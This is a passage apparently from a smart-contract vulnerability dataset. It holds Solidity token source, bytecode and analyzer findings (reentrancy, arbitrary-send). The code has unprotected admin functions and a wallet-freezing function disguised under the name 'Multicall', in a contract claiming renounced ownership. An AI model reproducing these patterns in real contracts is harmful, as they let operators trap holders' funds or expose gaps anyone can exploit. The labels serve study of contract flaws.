function delBot(address notbot) public {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd801461033e578063c9567bf914610353578063d91a21a614610368578063dd62ed3e14610388578063e9e1831a146103ce57600080fd5b8063715018a6146102905780638da5cb5b146102a557806395d89b41146102cd578063a9059cbb146102fe578063b515566a1461031e57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce5671461021f5780635932ead11461023b5780636fc3eaec1461025b57806370a082311461027057600080fd5b806306fdde0314610124578063095ea7b31461016c57806318160ddd1461019c57806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600d81526c29b4b6b839b7b7399021b7b4b760991b60208201525b60405161016391906115ef565b60405180910390f35b34801561017857600080fd5b5061018c610187366004611669565b6103e3565b6040519015158152602001610163565b3480156101a857600080fd5b50678ac7230489e800005b604051908152602001610163565b3480156101cd57600080fd5b5061018c6101dc366004611695565b6103fa565b3480156101ed57600080fd5b5061021d6101fc3660046116d6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561022b57600080fd5b5060405160098152602001610163565b34801561024757600080fd5b5061021d610256366004611701565b610463565b34801561026757600080fd5b5061021d6104b4565b34801561027c57600080fd5b506101b361028b3660046116d6565b6104c1565b34801561029c57600080fd5b5061021d6104e3565b3480156102b157600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102d957600080fd5b5060408051808201909152600881526753494d50534f4e5360c01b6020820152610156565b34801561030a57600080fd5b5061018c610319366004611669565b610557565b34801561032a57600080fd5b5061021d610339366004611734565b610564565b34801561034a57600080fd5b5061021d61068e565b34801561035f57600080fd5b5061021d6106a4565b34801561037457600080fd5b5061021d6103833660046117f9565b6108cb565b34801561039457600080fd5b506101b36103a3366004611812565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103da57600080fd5b5061021d610925565b60006103f0338484610aeb565b5060015b92915050565b6000610407848484610c0f565b610459843361045485604051806060016040528060288152602001611a0f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f64565b610aeb565b5060019392505050565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161048d9061184b565b60405180910390fd5b600e8054911515600160b81b0260ff60b81b19909216919091179055565b476104be81610f9e565b50565b6001600160a01b0381166000908152600260205260408120546103f490610fd8565b6000546001600160a01b0316331461050d5760405162461bcd60e51b815260040161048d9061184b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103f0338484610c0f565b60005b815181101561068a57600d5482516001600160a01b039091169083908390811061059357610593611880565b60200260200101516001600160a01b0316141580156105e45750600e5482516001600160a01b03909116908390839081106105d0576105d0611880565b60200260200101516001600160a01b031614155b801561061b5750306001600160a01b031682828151811061060757610607611880565b60200260200101516001600160a01b031614155b156106785760016006600084848151811061063857610638611880565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610682816118ac565b915050610567565b5050565b6000610699306104c1565b90506104be81611055565b6000546001600160a01b031633146106ce5760405162461bcd60e51b815260040161048d9061184b565b600e54600160a01b900460ff16156107285760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048d565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107643082678ac7230489e80000610aeb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c691906118c5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906118c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a891906118c5565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108f55760405162461bcd60e51b815260040161048d9061184b565b6000811161090257600080fd5b61091f6064610919678ac7230489e80000846111cf565b90610aa2565b600f5550565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161048d9061184b565b600d546001600160a01b031663f305d719473061096b816104c1565b6000806109806000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0d91906118e2565b5050600e805463ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104be9190611910565b6000610ae483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611251565b9392505050565b6001600160a01b038316610b4d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048d565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610cd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b60008111610d375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b03831660009081526006602052604090205460ff16158015610d7957506001600160a01b03821660009081526006602052604090205460ff16155b610d8257600080fd5b6007600a556005600b556000546001600160a01b03848116911614801590610db857506000546001600160a01b03838116911614155b15610f5457600e546001600160a01b038481169116148015610de85750600d546001600160a01b03838116911614155b8015610e0d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e225750600e54600160b81b900460ff165b15610e5c57600f54811115610e3657600080fd5b610e424261070861192d565b6001600160a01b0383166000908152600760205260409020555b600d546001600160a01b03848116911614801590610e9357506001600160a01b03831660009081526005602052604090205460ff16155b15610edd57600e546001600160a01b0390811690831603610eb9576007600a556005600b555b6001600160a01b0383166000908152600760205260409020544211610edd57600080fd5b6000610ee8306104c1565b600e54909150600160a81b900460ff16158015610f135750600e546001600160a01b03858116911614155b8015610f285750600e54600160b01b900460ff165b15610f5257610f3681611055565b476706f05b59d3b20000811115610f5057610f5047610f9e565b505b505b610f5f83838361127f565b505050565b60008184841115610f885760405162461bcd60e51b815260040161048d91906115ef565b506000610f958486611945565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068a573d6000803e3d6000fd5b600060085482111561103f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048d565b600061104961128a565b9050610ae48382610aa2565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109d5761109d611880565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a91906118c5565b8160018151811061112d5761112d611880565b6001600160a01b039283166020918202929092010152600d546111539130911684610aeb565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c90859060009086903090429060040161195c565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000826000036111e1575060006103f4565b60006111ed83856119cd565b9050826111fa85836119ec565b14610ae45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b600081836112725760405162461bcd60e51b815260040161048d91906115ef565b506000610f9584866119ec565b610f5f8383836112ad565b60008060006112976113a4565b90925090506112a68282610aa2565b9250505090565b6000806000806000806112bf876113e4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f19087611441565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113209086611483565b6001600160a01b038916600090815260026020526040902055611342816114e2565b61134c848361152c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139191815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113bf8282610aa2565b8210156113db57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006114018a600a54600b54611550565b925092509250600061141161128a565b905060008060006114248e87878761159f565b919e509c509a509598509396509194505050505091939550919395565b6000610ae483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f64565b600080611490838561192d565b905083811015610ae45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b60006114ec61128a565b905060006114fa83836111cf565b306000908152600260205260409020549091506115179082611483565b30600090815260026020526040902055505050565b6008546115399083611441565b6008556009546115499082611483565b6009555050565b6000808080611564606461091989896111cf565b9050600061157760646109198a896111cf565b9050600061158f826115898b86611441565b90611441565b9992985090965090945050505050565b60008080806115ae88866111cf565b905060006115bc88876111cf565b905060006115ca88886111cf565b905060006115dc826115898686611441565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561161c57858101830151858201604001528201611600565b8181111561162e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104be57600080fd5b803561166481611644565b919050565b6000806040838503121561167c57600080fd5b823561168781611644565b946020939093013593505050565b6000806000606084860312156116aa57600080fd5b83356116b581611644565b925060208401356116c581611644565b929592945050506040919091013590565b6000602082840312156116e857600080fd5b8135610ae481611644565b80151581146104be57600080fd5b60006020828403121561171357600080fd5b8135610ae4816116f3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561174757600080fd5b823567ffffffffffffffff8082111561175f57600080fd5b818501915085601f83011261177357600080fd5b8135818111156117855761178561171e565b8060051b604051601f19603f830116810181811085821117156117aa576117aa61171e565b6040529182528482019250838101850191888311156117c857600080fd5b938501935b828510156117ed576117de85611659565b845293850193928501926117cd565b98975050505050505050565b60006020828403121561180b57600080fd5b5035919050565b6000806040838503121561182557600080fd5b823561183081611644565b9150602083013561184081611644565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118be576118be611896565b5060010190565b6000602082840312156118d757600080fd5b8151610ae481611644565b6000806000606084860312156118f757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192257600080fd5b8151610ae4816116f3565b6000821982111561194057611940611896565b500190565b60008282101561195757611957611896565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ac5784516001600160a01b031683529383019391830191600101611987565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156119e7576119e7611896565b500290565b600082611a0957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a23869d695171c9d4927d3856bf8ec323ab2594c4f59a6937dc6b0748346da6c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,247 |
0x4171a3303cb65c04e6aba4d1aa1632c04a472960
|
/**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
/**
The Exchange
Low Tax
Ownership renounced and LP Locked.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TheExchange is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"The Exchange"; ////
string public constant symbol = unicode"TEE"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105f7578063db92dbb61461060c578063dcb0e0ad14610621578063dd62ed3e14610641578063e8078d941461068757600080fd5b806395d89b411461057d578063a9059cbb146105ac578063b2131f7d146105cc578063c3c8cd80146105e257600080fd5b806370a08231116100e757806370a08231146104ea578063715018a61461050a5780637a49cddb1461051f5780638da5cb5b1461053f57806394b8d8f21461055d57600080fd5b806349bd5a5e1461047f578063509016171461049f578063590f897e146104bf5780636fc3eaec146104d557600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b85780633bbac579146103f05780633bed43551461042957806340b9a54b1461044957806345596e2e1461045f57600080fd5b806327f3a72a14610346578063313ce5671461035b57806331c2d8471461038257806332d873d8146103a257600080fd5b80630b78f9c0116101d75780630b78f9c0146102d457806318160ddd146102f45780631940d0201461031057806323b872dd1461032657600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610282578063095ea7b3146102a457600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102756040518060400160405280600c81526020016b5468652045786368616e676560a01b81525081565b6040516102349190611c21565b34801561028e57600080fd5b506102a261029d366004611c9b565b61069c565b005b3480156102b057600080fd5b506102c46102bf366004611cb8565b610711565b6040519015158152602001610234565b3480156102e057600080fd5b506102a26102ef366004611ce4565b610727565b34801561030057600080fd5b50683635c9adc5dea0000061022a565b34801561031c57600080fd5b5061022a600f5481565b34801561033257600080fd5b506102c4610341366004611d06565b6107aa565b34801561035257600080fd5b5061022a610892565b34801561036757600080fd5b50610370600981565b60405160ff9091168152602001610234565b34801561038e57600080fd5b506102a261039d366004611d5d565b6108a2565b3480156103ae57600080fd5b5061022a60105481565b3480156103c457600080fd5b506009546103d8906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103fc57600080fd5b506102c461040b366004611c9b565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043557600080fd5b506008546103d8906001600160a01b031681565b34801561045557600080fd5b5061022a600b5481565b34801561046b57600080fd5b506102a261047a366004611e22565b61092e565b34801561048b57600080fd5b50600a546103d8906001600160a01b031681565b3480156104ab57600080fd5b506102a26104ba366004611c9b565b6109f2565b3480156104cb57600080fd5b5061022a600c5481565b3480156104e157600080fd5b506102a2610a60565b3480156104f657600080fd5b5061022a610505366004611c9b565b610a8d565b34801561051657600080fd5b506102a2610aa8565b34801561052b57600080fd5b506102a261053a366004611d5d565b610b1c565b34801561054b57600080fd5b506000546001600160a01b03166103d8565b34801561056957600080fd5b506011546102c49062010000900460ff1681565b34801561058957600080fd5b506102756040518060400160405280600381526020016254454560e81b81525081565b3480156105b857600080fd5b506102c46105c7366004611cb8565b610c2b565b3480156105d857600080fd5b5061022a600d5481565b3480156105ee57600080fd5b506102a2610c38565b34801561060357600080fd5b506102a2610c6e565b34801561061857600080fd5b5061022a610d12565b34801561062d57600080fd5b506102a261063c366004611e49565b610d2a565b34801561064d57600080fd5b5061022a61065c366004611e66565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069357600080fd5b506102a2610da7565b6008546001600160a01b0316336001600160a01b0316146106bc57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061071e3384846110ee565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074757600080fd5b600a82111561075557600080fd5b600a81111561076357600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107d857506001600160a01b03831660009081526004602052604090205460ff16155b80156107f15750600a546001600160a01b038581169116145b15610840576001600160a01b03831632146108405760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084b848484611212565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087a908490611eb5565b90506108878533836110ee565b506001949350505050565b600061089d30610a8d565b905090565b6008546001600160a01b0316336001600160a01b0316146108c257600080fd5b60005b815181101561092a576000600660008484815181106108e6576108e6611ecc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092281611ee2565b9150506108c5565b5050565b6000546001600160a01b031633146109585760405162461bcd60e51b815260040161083790611efb565b6008546001600160a01b0316336001600160a01b03161461097857600080fd5b600081116109bd5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610837565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610706565b6009546001600160a01b0316336001600160a01b031614610a1257600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610706565b6008546001600160a01b0316336001600160a01b031614610a8057600080fd5b47610a8a81611880565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161083790611efb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3c57600080fd5b60005b815181101561092a57600a5482516001600160a01b0390911690839083908110610b6b5761